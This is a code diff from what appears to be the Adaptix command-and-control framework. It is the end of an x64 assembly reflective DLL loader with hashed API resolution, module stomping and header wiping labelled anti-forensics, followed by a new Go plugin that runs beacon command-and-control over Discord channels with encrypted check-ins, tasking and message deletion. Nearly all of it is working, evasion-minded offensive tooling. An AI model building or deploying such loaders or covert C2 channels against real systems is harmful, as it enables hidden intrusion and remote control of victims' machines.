mov qword [rsp + 0x20], 0 + mov qword [rsp + 0x28], 0 + lea rax, [rsp + LOC_VIEW_SIZE] + mov [rsp + 0x30], rax + mov qword [rsp + 0x38], 2 + mov qword [rsp + 0x40], 0 + mov qword [rsp + 0x48], PAGE_EXECUTE_READWRITE + call r13 + test eax, eax + js _cleanup_section + +; ============================================================================ +; PHASE 8 — Copy PE headers (rep movsb clobbers rsi/rdi/rcx) +; ============================================================================ +.phase8_copy_headers: + push rsi + push rdi + push rcx + + mov rsi, [rsp + 24 + LOC_PE_SRC] + mov rdi, [rsp + 24 + LOC_IMAGE_BASE] + mov ecx, dword [rbp + 0x54] + rep movsb + + pop rcx + pop rdi + pop rsi + +; ============================================================================ +; PHASE 9 — Copy sections +; Uses push/pop for rsi/rdi/rcx around rep movsb — no Win64 API calls here, +; so shadow space corruption is not a concern. +; ============================================================================ + movzx eax, word [rbp + 0x14] + lea r8, [rbp + 0x18] + add r8, rax + movzx ecx, word [rbp + 0x06] + test ecx, ecx + jz .sections_done + +.copy_section: + push rcx + push r8 + + mov eax, dword [r8 + 0x10] ; SizeOfRawData + test eax, eax + jz .next_section + + mov ecx, dword [r8 + 0x14] ; PointerToRawData (32-bit RVA) + mov rsi, [rsp + 16 + LOC_PE_SRC] + add rsi, rcx ; src = PE_base + PointerToRawData + + mov ecx, dword [r8 + 0x0C] ; VirtualAddress (32-bit RVA) + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + add rdi, rcx ; dst = mapped_base + VirtualAddress + + mov ecx, eax ; count = SizeOfRawData + rep movsb + +.next_section: + pop r8 + pop rcx + add r8, 40 + dec ecx + jnz .copy_section + +.sections_done: + +; ============================================================================ +; PHASE 10 — Base relocations +; ============================================================================ + mov rax, [rsp + LOC_IMAGE_BASE] + mov rcx, [rbp + 0x30] + sub rax, rcx + jz .reloc_done + + mov r9, rax ; r9 = delta + mov r10d, dword [rbp + 0xB4] + test r10d, r10d + jz .reloc_done + + mov r8d, dword [rbp + 0xB0] + add r8, [rsp + LOC_IMAGE_BASE] + lea r10, [r8 + r10] + +.reloc_block: + cmp r8, r10 + jae .reloc_done + + mov eax, dword [r8] + mov ecx, dword [r8 + 4] + test ecx, ecx + jz .reloc_done + + add rax, [rsp + LOC_IMAGE_BASE] + lea r11, [r8 + rcx] + lea rbx, [r8 + 8] + +.reloc_entry: + cmp rbx, r11 + jae .reloc_next_block + + movzx edx, word [rbx] + mov ecx, edx + shr ecx, 12 + and edx, 0x0FFF + + cmp cl, IMAGE_REL_BASED_DIR64 + je .reloc_dir64 + cmp cl, IMAGE_REL_BASED_HIGHLOW + je .reloc_highlow + jmp .reloc_skip + +.reloc_dir64: + add [rax + rdx], r9 + jmp .reloc_skip + +.reloc_highlow: + add dword [rax + rdx], r9d + jmp .reloc_skip + +.reloc_skip: + add rbx, 2 + jmp .reloc_entry + +.reloc_next_block: + mov r8, r11 + jmp .reloc_block + +.reloc_done: + mov rbp, [rsp + LOC_NT_HDR] + +; ============================================================================ +; PHASE 11 — Import resolution +; Saves loop state to LOC_SAVE1..SAVE4 across Win64 API calls (no push/pop +; around calls, avoiding shadow space corruption of saved registers). +; +; SAVE1 = import descriptor pointer +; SAVE2 = INT (OriginalFirstThunk) pointer +; SAVE3 = IAT (FirstThunk) pointer +; SAVE4 = hModule +; ============================================================================ + mov eax, dword [rbp + 0x94] + test eax, eax + jz .imports_done + + mov eax, dword [rbp + 0x90] + test eax, eax + jz .imports_done + + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE1], rax ; save descriptor ptr + +.import_descriptor: + mov r8, [rsp + LOC_SAVE1] + mov eax, dword [r8 + 0x0C] + test eax, eax + jz .imports_done + + ; LoadLibraryA(DLL name) + add rax, [rsp + LOC_IMAGE_BASE] + mov rcx, rax + call qword [rsp + LOC_LOADLIB] + test rax, rax + jz .imports_done + mov [rsp + LOC_SAVE4], rax ; hModule + + mov r8, [rsp + LOC_SAVE1] + + ; OriginalFirstThunk (INT) at +0x00 + mov eax, dword [r8] + test eax, eax + jnz .have_oft + mov eax, dword [r8 + 0x10] +.have_oft: + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE2], rax ; INT ptr + + mov eax, dword [r8 + 0x10] + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_SAVE3], rax ; IAT ptr + +.import_thunk: + mov rsi, [rsp + LOC_SAVE2] ; INT + mov rax, [rsi] + test rax, rax + jz .import_next_desc + + ; Check ordinal flag (bit 63) + bt rax, 63 + jc .import_by_ordinal + + ; Import by name + add rax, [rsp + LOC_IMAGE_BASE] + lea rdx, [rax + 2] ; skip Hint → name string + mov rcx, [rsp + LOC_SAVE4] ; hModule + call qword [rsp + LOC_GETPROC] + jmp .import_write_iat + +.import_by_ordinal: + movzx edx, ax + mov rcx, [rsp + LOC_SAVE4] + call qword [rsp + LOC_GETPROC] + +.import_write_iat: + mov r9, [rsp + LOC_SAVE3] + mov [r9], rax + + ; Advance INT and IAT pointers + add qword [rsp + LOC_SAVE2], 8 + add qword [rsp + LOC_SAVE3], 8 + jmp .import_thunk + +.import_next_desc: + add qword [rsp + LOC_SAVE1], 20 ; next descriptor + jmp .import_descriptor + +.imports_done: + +; ============================================================================ +; PHASE 12 — Tighten .text to RX only +; +; Only .text is changed: RWX → PAGE_EXECUTE_READ. +; All other sections stay PAGE_EXECUTE_READWRITE so that SsSleepInit +; sees the full image as executable (fullRxSize = entire image) and +; the 64KB-aligned dual-map succeeds. +; _DoRemap later sets proper protections on non-.text regions. +; ============================================================================ + movzx eax, word [rbp + 0x14] + lea r8, [rbp + 0x18] + add r8, rax ; r8 = first section header + movzx ecx, word [rbp + 0x06] ; section count + test ecx, ecx + jz .protect_done + +.protect_scan: + mov eax, dword [r8 + 0x24] ; Characteristics + test eax, IMAGE_SCN_MEM_EXECUTE + jnz .found_text + add r8, 40 + dec ecx + jnz .protect_scan + jmp .protect_done + +.found_text: + ; Tighten this section from RWX → RX + mov eax, dword [r8 + 0x0C] ; VirtualAddress + add rax, [rsp + LOC_IMAGE_BASE] + mov [rsp + LOC_TEMP_ADDR], rax + + mov eax, dword [r8 + 0x08] ; VirtualSize + mov edx, dword [r8 + 0x10] ; SizeOfRawData + cmp eax, edx + cmovb eax, edx ; max(VirtualSize, SizeOfRawData) + test eax, eax + jz .protect_done + mov [rsp + LOC_TEMP_SIZE], rax + + mov rcx, -1 + lea rdx, [rsp + LOC_TEMP_ADDR] + lea r8, [rsp + LOC_TEMP_SIZE] + mov r9d, PAGE_EXECUTE_READ ; RWX → RX + lea rax, [rsp + LOC_OLD_PROT] + mov [rsp + 0x20], rax + call r14 ; NtProtectVirtualMemory + +.protect_done: + +; ============================================================================ +; PHASE 13 — NtClose(hSection) +; Skipped when module stomping succeeded (LOC_SECTION_HDL == 0). +; ============================================================================ + mov rcx, [rsp + LOC_SECTION_HDL] + test rcx, rcx + jz .skip_close + call r15 +.skip_close: + +; ============================================================================ +; PHASE 14 — FlushInstructionCache(-1, base, imageSize) +; ============================================================================ + mov rcx, -1 + mov rdx, [rsp + LOC_IMAGE_BASE] + mov r8, [rsp + LOC_IMAGE_SIZE] + call qword [rsp + LOC_FLUSHIC] + +; ============================================================================ +; PHASE 15 — Zero PE headers (anti-forensics) +; ============================================================================ + push rdi + push rcx + + mov rdi, [rsp + 16 + LOC_IMAGE_BASE] + mov ecx, dword [rbp + 0x54] + xor eax, eax + rep stosb + + pop rcx + pop rdi + +; ============================================================================ +; PHASE 16 — Call DllMain(hinstDLL, DLL_PROCESS_ATTACH, NULL) +; ============================================================================ + mov eax, dword [rbp + 0x28] + test eax, eax + jz _exit + + add rax, [rsp + LOC_IMAGE_BASE] + + mov rcx, [rsp + LOC_IMAGE_BASE] + mov edx, DLL_PROCESS_ATTACH + xor r8, r8 + call rax + + jmp _exit + +; ============================================================================ +; Error paths +; ============================================================================ +_cleanup_section: + mov rcx, [rsp + LOC_SECTION_HDL] + call r15 + +_exit: + add rsp, FRAME_SIZE + pop r15 + pop r14 + pop r13 + pop r12 + pop rbx + pop rbp + pop rdi + pop rsi + ret + +; ============================================================================ +; _djb2a — ASCII DJB2 hash (case-insensitive) +; IN: rcx = null-terminated ASCII string +; OUT: eax = hash +; Clobbers: eax, edx, r8d, rcx +; ============================================================================ +_djb2a: + mov eax, DJB2_SEED +.loop: + movzx edx, byte [rcx] + inc rcx + test edx, edx + jz .done + lea r8d, [edx - 0x41] + cmp r8d, 25 + ja .no_lower + add edx, 0x20 +.no_lower: + imul eax, eax, 33 + add eax, edx + jmp .loop +.done: + ret + +; ============================================================================ +; _djb2w — Wide-char DJB2 hash (case-insensitive) +; IN: rcx = null-terminated WCHAR string +; OUT: eax = hash +; Clobbers: eax, edx, r8d, rcx +; ============================================================================ +_djb2w: + mov eax, DJB2_SEED +.loop: + movzx edx, word [rcx] + add rcx, 2 + test edx, edx + jz .done + lea r8d, [edx - 0x41] + cmp r8d, 25 + ja .no_lower + add edx, 0x20 +.no_lower: + imul eax, eax, 33 + add eax, edx + jmp .loop +.done: + ret + +; ============================================================================ +; _find_module — PEB walk, find DLL by wchar DJB2 hash +; IN: ecx = target hash +; OUT: rax = DLL base (0 if not found) +; Clobbers: rax, rcx, rdx, r8-r11 +; ============================================================================ +_find_module: + mov r10d, ecx + mov rax, [gs:0x60] + mov rax, [rax + 0x18] + mov r9, [rax + 0x20] + lea r11, [rax + 0x20] + +.walk: + cmp r9, r11 + je .not_found + + sub rsp, 0x28 + mov rcx, [r9 + 0x50] + call _djb2w + add rsp, 0x28 + + cmp eax, r10d + jne .next + mov rax, [r9 + 0x20] + ret + +.next: + mov r9, [r9] + jmp .walk + +.not_found: + xor eax, eax + ret + +; ============================================================================ +; _find_export — EAT walk, find export by ASCII DJB2 hash +; IN: rcx = module base, edx = target hash +; OUT: rax = function address (0 if not found) +; Saves/restores rbx, rsi, rdi internally. +; ============================================================================ +_find_export: + test rcx, rcx + jz .fail + + push rbx + push rsi + push rdi + sub rsp, 0x20 + + mov r9, rcx + mov esi, edx + + movsxd rax, dword [rcx + 0x3C] + mov r11d, dword [rcx + rax + 0x88] + test r11d, r11d + jz .fail_pop + add r11, r9 + + mov r10d, dword [r11 + 0x20] + add r10, r9 + mov ebx, dword [r11 + 0x24] + add rbx, r9 + mov eax, dword [r11 + 0x18] + lea rdi, [r10 + rax * 4] + +.search: + cmp r10, rdi + je .fail_pop + + mov ecx, dword [r10] + add rcx, r9 + call _djb2a + cmp eax, esi + je .found + + add r10, 4 + add rbx, 2 + jmp .search + +.found: + movzx edx, word [rbx] + mov eax, dword [r11 + 0x1C] + add rax, r9 + mov eax, dword [rax + rdx * 4] + add rax, r9 + + add rsp, 0x20 + pop rdi + pop rsi + pop rbx + ret + +.fail_pop: + add rsp, 0x20 + pop rdi + pop rsi + pop rbx +.fail: + xor eax, eax + ret + +; ============================================================================ +; Module stomp candidate paths (generated by Go, included at build time) +; ============================================================================ +%ifdef MODULE_STOMP +%include "stomp_paths.inc" +%endif + +; ============================================================================ +; End marker — DLL data starts immediately after this +; ============================================================================ +_stub_end: diff --git a/AdaptixServer/extenders/beacon_listener_discord/Makefile b/AdaptixServer/extenders/beacon_listener_discord/Makefile new file mode 100644 index 000000000..448269b46 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/Makefile @@ -0,0 +1,9 @@ +all: clean + @ echo " * Building listener_beacon_discord plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/listener_beacon_discord.so pl_main.go pl_transport.go + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs new file mode 100644 index 000000000..4a381aa05 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/ax_config.axs @@ -0,0 +1,90 @@ +/// Beacon Discord listener + +function ListenerUI(mode_create) +{ + // BOT TOKEN + let labelBotToken = form.create_label("Bot Token:"); + let textlineBotToken = form.create_textline(); + textlineBotToken.setPlaceholder("Discord bot token (server-side only)"); + textlineBotToken.setEnabled(mode_create); + + // CHANNEL IDS + let labelChannelBeacon = form.create_label("Beacon Channel ID:"); + let textlineChannelBeacon = form.create_textline(); + textlineChannelBeacon.setPlaceholder("Channel for beacon -> server messages"); + textlineChannelBeacon.setEnabled(mode_create); + + let labelChannelTasks = form.create_label("Tasks Channel ID:"); + let textlineChannelTasks = form.create_textline(); + textlineChannelTasks.setPlaceholder("Channel for server -> beacon tasks"); + textlineChannelTasks.setEnabled(mode_create); + + // WEBHOOK URL + let labelWebhook = form.create_label("Webhook URL:"); + let textlineWebhook = form.create_textline(); + textlineWebhook.setPlaceholder("https://discord.com/api/webhooks/..."); + + // POLL INTERVAL + let labelPollInterval = form.create_label("Poll Interval (seconds):"); + let spinPollInterval = form.create_spin(); + spinPollInterval.setRange(1, 60); + spinPollInterval.setValue(5); + + // CLEANUP + let checkCleanup = form.create_check("Delete messages after reading"); + checkCleanup.setChecked(true); + + // ENCRYPTION KEY + let labelEncryptKey = form.create_label("Encryption key:"); + let textlineEncryptKey = form.create_textline(ax.random_string(64, "hex")); + textlineEncryptKey.setEnabled(mode_create); + let buttonEncryptKey = form.create_button("Generate"); + buttonEncryptKey.setEnabled(mode_create); + + form.connect(buttonEncryptKey, "clicked", function() { textlineEncryptKey.setText( ax.random_string(64, "hex") ); }); + + // LAYOUT + let layoutMain = form.create_gridlayout(); + layoutMain.addWidget(labelBotToken, 0, 0, 1, 1); + layoutMain.addWidget(textlineBotToken, 0, 1, 1, 2); + layoutMain.addWidget(labelChannelBeacon, 1, 0, 1, 1); + layoutMain.addWidget(textlineChannelBeacon,1, 1, 1, 2); + layoutMain.addWidget(labelChannelTasks, 2, 0, 1, 1); + layoutMain.addWidget(textlineChannelTasks, 2, 1, 1, 2); + layoutMain.addWidget(labelWebhook, 3, 0, 1, 1); + layoutMain.addWidget(textlineWebhook, 3, 1, 1, 2); + layoutMain.addWidget(labelPollInterval, 4, 0, 1, 1); + layoutMain.addWidget(spinPollInterval, 4, 1, 1, 2); + layoutMain.addWidget(checkCleanup, 5, 0, 1, 3); + layoutMain.addWidget(labelEncryptKey, 6, 0, 1, 1); + layoutMain.addWidget(textlineEncryptKey, 6, 1, 1, 1); + layoutMain.addWidget(buttonEncryptKey, 6, 2, 1, 1); + + let panelMain = form.create_panel(); + panelMain.setLayout(layoutMain); + + let tabs = form.create_tabs(); + tabs.addTab(panelMain, "Main settings"); + + let layout = form.create_hlayout(); + layout.addWidget(tabs); + + let container = form.create_container(); + container.put("bot_token", textlineBotToken); + container.put("channel_beacon", textlineChannelBeacon); + container.put("channel_tasks", textlineChannelTasks); + container.put("webhook_url", textlineWebhook); + container.put("poll_interval", spinPollInterval); + container.put("cleanup", checkCleanup); + container.put("encrypt_key", textlineEncryptKey); + + let panel = form.create_panel(); + panel.setLayout(layout); + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 650 + } +} diff --git a/AdaptixServer/extenders/beacon_listener_discord/config.yaml b/AdaptixServer/extenders/beacon_listener_discord/config.yaml new file mode 100644 index 000000000..7c1992e5e --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/config.yaml @@ -0,0 +1,7 @@ +extender_type: "listener" +extender_file: "listener_beacon_discord.so" +ax_file: "ax_config.axs" + +listener_name: "BeaconDiscord" +listener_type: "external" +protocol: "discord" diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.mod b/AdaptixServer/extenders/beacon_listener_discord/go.mod new file mode 100644 index 000000000..7a5fead21 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/go.mod @@ -0,0 +1,5 @@ +module adaptix_listener_beacon_discord + +go 1.25.4 + +require github.com/Adaptix-Framework/axc2 v1.2.0 diff --git a/AdaptixServer/extenders/beacon_listener_discord/go.sum b/AdaptixServer/extenders/beacon_listener_discord/go.sum new file mode 100644 index 000000000..8889bb84d --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/go.sum @@ -0,0 +1,2 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_main.go b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go new file mode 100644 index 000000000..692c13b25 --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/pl_main.go @@ -0,0 +1,243 @@ +package main + +import ( + "bytes" + "encoding/hex" + "encoding/json" + "errors" + "fmt" + "regexp" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsAgentIsExists(agentId string) bool + TsAgentCreate(agentCrc string, agentId string, beat []byte, listenerName string, ExternalIP string, Async bool) (adaptix.AgentData, error) + TsAgentProcessData(agentId string, bodyData []byte) error + TsAgentSetTick(agentId string, listenerName string) error + TsAgentGetHostedAll(agentId string, maxDataSize int) ([]byte, error) +} + +type PluginListener struct{} + +var ( + ModuleDir string + ListenerDataDir string + Ts Teamserver +) + +func InitPlugin(ts any, moduleDir string, listenerDir string) adaptix.PluginListener { + ModuleDir = moduleDir + ListenerDataDir = listenerDir + Ts = ts.(Teamserver) + return &PluginListener{} +} + +func (p *PluginListener) Create(name string, config string, customData []byte) (adaptix.ExtenderListener, adaptix.ListenerData, []byte, error) { + var ( + listener *Listener + listenerData adaptix.ListenerData + conf ConfigDiscord + customdData []byte + err error + ) + + /// START CODE HERE + + if customData == nil { + if err = validConfig(config); err != nil { + return nil, listenerData, customdData, err + } + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey) + if err != nil { + return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err) + } + + } else { + err = json.Unmarshal(customData, &conf) + if err != nil { + return nil, listenerData, customdData, err + } + + conf.encryptKeyBytes, err = hex.DecodeString(conf.EncryptKey) + if err != nil { + return nil, listenerData, customdData, fmt.Errorf("invalid encrypt_key hex: %v", err) + } + } + + transport := &TransportDiscord{ + Name: name, + Config: conf, + Active: false, + } + + listenerData = adaptix.ListenerData{ + BindHost: "discord", + BindPort: "0", + AgentAddr: conf.WebhookUrl, + Protocol: "discord", + Status: "Stopped", + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(transport.Config) + if err != nil { + return nil, listenerData, customdData, err + } + customdData = buffer.Bytes() + + listener = &Listener{transport: transport} + + /// END CODE HERE + + return listener, listenerData, customdData, nil +} + +func (l *Listener) Start() error { + + /// START CODE HERE + + return l.transport.Start(Ts) + + /// END CODE HERE +} + +func (l *Listener) Edit(config string) (adaptix.ListenerData, []byte, error) { + var ( + listenerData adaptix.ListenerData + conf ConfigDiscord + customdData []byte + err error + ) + + err = json.Unmarshal([]byte(config), &conf) + if err != nil { + return listenerData, customdData, err + } + + /// START CODE HERE + + l.transport.Config.WebhookUrl = conf.WebhookUrl + l.transport.Config.PollInterval = conf.PollInterval + l.transport.Config.Cleanup = conf.Cleanup + + listenerData = adaptix.ListenerData{ + BindHost: "discord", + BindPort: "0", + AgentAddr: l.transport.Config.WebhookUrl, + Status: "Listen", + } + if !l.transport.Active { + listenerData.Status = "Closed" + } + + var buffer bytes.Buffer + err = json.NewEncoder(&buffer).Encode(l.transport.Config) + if err != nil { + return listenerData, customdData, err + } + customdData = buffer.Bytes() + + /// END CODE HERE + + return listenerData, customdData, nil +} + +func (l *Listener) Stop() error { + + /// START CODE HERE + + return l.transport.Stop() + + /// END CODE HERE +} + +func (l *Listener) GetProfile() ([]byte, error) { + var buffer bytes.Buffer + + /// START CODE HERE + + // Return only what the beacon needs: webhook URL, channel IDs, poll interval, encrypt key + profile := map[string]any{ + "protocol": "discord", + "webhook_url": l.transport.Config.WebhookUrl, + "bot_token": l.transport.Config.BotToken, + "channel_beacon": l.transport.Config.ChannelBeacon, + "channel_tasks_id": l.transport.Config.ChannelTasks, + "poll_interval": l.transport.Config.PollInterval, + "encrypt_key": l.transport.Config.EncryptKey, + "cleanup": l.transport.Config.Cleanup, + } + + err := json.NewEncoder(&buffer).Encode(profile) + if err != nil { + return nil, err + } + /// END CODE HERE + + return buffer.Bytes(), nil +} + +func (l *Listener) InternalHandler(data []byte) (string, error) { + var agentId = "" + + /// START CODE HERE + + /// END CODE HERE + + return agentId, nil +} + +func validConfig(config string) error { + var conf ConfigDiscord + err := json.Unmarshal([]byte(config), &conf) + if err != nil { + return err + } + + if conf.BotToken == "" { + return errors.New("bot_token is required") + } + + if conf.ChannelBeacon == "" { + return errors.New("channel_beacon is required") + } + matchChan, _ := regexp.MatchString("^[0-9]+$", conf.ChannelBeacon) + if !matchChan { + return errors.New("channel_beacon must be a numeric Discord channel ID") + } + + if conf.ChannelTasks == "" { + return errors.New("channel_tasks is required") + } + matchChan, _ = regexp.MatchString("^[0-9]+$", conf.ChannelTasks) + if !matchChan { + return errors.New("channel_tasks must be a numeric Discord channel ID") + } + + if conf.WebhookUrl == "" { + return errors.New("webhook_url is required") + } + matchWebhook, _ := regexp.MatchString("^https://discord\\.com/api/webhooks/", conf.WebhookUrl) + if !matchWebhook { + return errors.New("webhook_url must be a valid Discord webhook URL") + } + + if conf.PollInterval < 1 || conf.PollInterval > 60 { + return errors.New("poll_interval must be between 1 and 60 seconds") + } + + match, _ := regexp.MatchString("^[0-9a-f]{64}$", conf.EncryptKey) + if len(conf.EncryptKey) != 64 || !match { + return errors.New("encrypt_key must be 64 hex characters (32 bytes for AES-256)") + } + + return nil +} diff --git a/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go new file mode 100644 index 000000000..3dc88fbfb --- /dev/null +++ b/AdaptixServer/extenders/beacon_listener_discord/pl_transport.go @@ -0,0 +1,394 @@ +package main + +import ( + "crypto/aes" + "crypto/cipher" + "encoding/base64" + "encoding/binary" + "encoding/json" + "errors" + "fmt" + "io" + "net/http" + "strings" + "sync" + "time" +) + +type Listener struct { + transport *TransportDiscord +} + +type ConfigDiscord struct { + BotToken string `json:"bot_token"` + ChannelBeacon string `json:"channel_beacon"` + ChannelTasks string `json:"channel_tasks"` + WebhookUrl string `json:"webhook_url"` + PollInterval int `json:"poll_interval"` + Cleanup bool `json:"cleanup"` + EncryptKey string `json:"encrypt_key"` + + // Derived (not serialized to JSON) + encryptKeyBytes []byte `json:"-"` +} + +type TransportDiscord struct { + Name string + Config ConfigDiscord + Active bool + stopChan chan struct{} + client *http.Client + mu sync.Mutex +} + +// Discord API message structure +type DiscordMessage struct { + Id string `json:"id"` + Content string `json:"content"` +} + +// Discord API send message body +type DiscordSendBody struct { + Content string `json:"content"` +} + +const ( + discordAPIBase = "https://discord.com/api/v10" + // Discord rate limit: 5 requests / 2 seconds per channel + apiDelay = 500 * time.Millisecond + // Max message content size (Discord limit is 2000 chars, base64 overhead ~33%) + maxMessageSize = 1900 +) + +func (t *TransportDiscord) Start(ts Teamserver) error { + t.mu.Lock() + defer t.mu.Unlock() + + if t.Active { + return errors.New("transport already active") + } + + // Decode encrypt key + var err error + if len(t.Config.encryptKeyBytes) == 0 { + return errors.New("encrypt key not initialized") + } + + t.client = &http.Client{ + Timeout: 30 * time.Second, + } + + t.stopChan = make(chan struct{}) + t.Active = true + + fmt.Printf(" Started listener '%s': discord (beacon=%s, tasks=%s, poll=%ds)\n", + t.Name, t.Config.ChannelBeacon, t.Config.ChannelTasks, t.Config.PollInterval) + + go t.pollLoop(ts) + + _ = err + return nil +} + +func (t *TransportDiscord) Stop() error { + t.mu.Lock() + defer t.mu.Unlock() + + if !t.Active { + return nil + } + + close(t.stopChan) + t.Active = false + fmt.Printf(" Stopped listener '%s': discord\n", t.Name) + return nil +} + +func (t *TransportDiscord) pollLoop(ts Teamserver) { + ticker := time.NewTicker(time.Duration(t.Config.PollInterval) * time.Second) + defer ticker.Stop() + + for { + select { + case <-t.stopChan: + return + case <-ticker.C: + t.pollMessages(ts) + } + } +} + +func (t *TransportDiscord) pollMessages(ts Teamserver) { + messages, err := t.getMessages(t.Config.ChannelBeacon) + if err != nil { + fmt.Printf("[discord:%s] Error polling beacon channel: %v\n", t.Name, err) + return + } + + for _, msg := range messages { + content := strings.TrimSpace(msg.Content) + if content == "" { + continue + } + + t.processMessage(ts, msg) + + // Rate limit delay between processing messages + time.Sleep(apiDelay) + } +} + +func (t *TransportDiscord) processMessage(ts Teamserver, msg DiscordMessage) { + content := strings.TrimSpace(msg.Content) + + // The beacon sends messages as: base64(beat_data) + "|" + base64(body_data) + // Using | separator instead of \n (newline breaks JSON content) + parts := strings.SplitN(content, "|", 2) + if len(parts) == 0 { + return + } + + beatB64 := strings.TrimSpace(parts[0]) + var bodyB64 string + if len(parts) > 1 { + bodyB64 = strings.TrimSpace(parts[1]) + } + + // Decode beat + beatCrypt, err := base64.StdEncoding.DecodeString(beatB64) + if err != nil || len(beatCrypt) < 5 { + fmt.Printf("[discord:%s] Failed to decode beat from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + + { + agentType, agentId, beat, err := t.decryptBeat(beatCrypt) + if err != nil { + fmt.Printf("[discord:%s] Failed to decrypt beat from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + + // Decode body data if present + var bodyData []byte + if bodyB64 != "" { + bodyData, err = base64.StdEncoding.DecodeString(bodyB64) + if err != nil { + fmt.Printf("[discord:%s] Failed to decode body from message %s: %v\n", t.Name, msg.Id, err) + goto CLEANUP + } + } + + // Create agent if new + if !Ts.TsAgentIsExists(agentId) { + _, err = Ts.TsAgentCreate(agentType, agentId, beat, t.Name, "discord", true) + if err != nil { + fmt.Printf("[discord:%s] Failed to create agent %s: %v\n", t.Name, agentId, err) + goto CLEANUP + } + } + + // Update tick + _ = Ts.TsAgentSetTick(agentId, t.Name) + + // Process body data + if len(bodyData) > 0 { + _ = Ts.TsAgentProcessData(agentId, bodyData) + } + + // Get pending tasks for this agent + responseData, err := Ts.TsAgentGetHostedAll(agentId, 0x1900000) // 25 MB + if err != nil { + fmt.Printf("[discord:%s] Failed to get tasks for agent %s: %v\n", t.Name, agentId, err) + goto CLEANUP + } + + // Send tasks back via tasks channel + if len(responseData) > 0 { + encoded := base64.StdEncoding.EncodeToString(responseData) + + // Discord messages have a 2000 char limit, split if needed + err = t.sendChunkedMessage(t.Config.ChannelTasks, encoded) + if err != nil { + fmt.Printf("[discord:%s] Failed to send tasks to agent %s: %v\n", t.Name, agentId, err) + } + } + } + +CLEANUP: + // Delete the processed message if cleanup is enabled + if t.Config.Cleanup { + time.Sleep(apiDelay) + err := t.deleteMessage(t.Config.ChannelBeacon, msg.Id) + if err != nil { + fmt.Printf("[discord:%s] Failed to delete message %s: %v\n", t.Name, msg.Id, err) + } + } +} + +func (t *TransportDiscord) decryptBeat(ciphertext []byte) (string, string, []byte, error) { + block, err := aes.NewCipher(t.Config.encryptKeyBytes) + if err != nil { + return "", "", nil, errors.New("aes cipher error") + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return "", "", nil, errors.New("gcm error") + } + + nonceSize := gcm.NonceSize() + if len(ciphertext) < nonceSize+gcm.Overhead() { + return "", "", nil, errors.New("beat ciphertext too short") + } + + nonce, ct := ciphertext[:nonceSize], ciphertext[nonceSize:] + plaintext, err := gcm.Open(nil, nonce, ct, nil) + if err != nil { + return "", "", nil, errors.New("aes-gcm decrypt error") + } + + if len(plaintext) < 8 { + return "", "", nil, errors.New("beat plaintext too short") + } + + agentType := uint(binary.BigEndian.Uint32(plaintext[:4])) + agentId := uint(binary.BigEndian.Uint32(plaintext[4:8])) + beat := plaintext[8:] + + return fmt.Sprintf("%08x", agentType), fmt.Sprintf("%08x", agentId), beat, nil +} + +// getMessages retrieves messages from a Discord channel using the Bot API +func (t *TransportDiscord) getMessages(channelId string) ([]DiscordMessage, error) { + url := fmt.Sprintf("%s/channels/%s/messages?limit=50", discordAPIBase, channelId) + + req, err := http.NewRequest("GET", url, nil) + if err != nil { + return nil, err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + req.Header.Set("Content-Type", "application/json") + + resp, err := t.client.Do(req) + if err != nil { + return nil, err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + // Rate limited, back off + return nil, errors.New("discord rate limited") + } + + if resp.StatusCode != 200 { + body, _ := io.ReadAll(resp.Body) + return nil, fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(body)) + } + + var messages []DiscordMessage + err = json.NewDecoder(resp.Body).Decode(&messages) + if err != nil { + return nil, err + } + + return messages, nil +} + +// sendMessage posts a message to a Discord channel using the Bot API +func (t *TransportDiscord) sendMessage(channelId string, content string) error { + url := fmt.Sprintf("%s/channels/%s/messages", discordAPIBase, channelId) + + body := DiscordSendBody{Content: content} + jsonBody, err := json.Marshal(body) + if err != nil { + return err + } + + req, err := http.NewRequest("POST", url, strings.NewReader(string(jsonBody))) + if err != nil { + return err + } + + req.Header.Set("Authorization", "Bot "+t.Config.BotToken) + req.Header.Set("Content-Type", "application/json") + + resp, err := t.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + + if resp.StatusCode == 429 { + return errors.New("discord rate limited") + } + + if resp.StatusCode != 200 && resp.StatusCode != 201 { + respBody, _ := io.ReadAll(resp.Body) + return fmt.Errorf("discord API error %d: %s", resp.StatusCode, string(respBody)) + } + 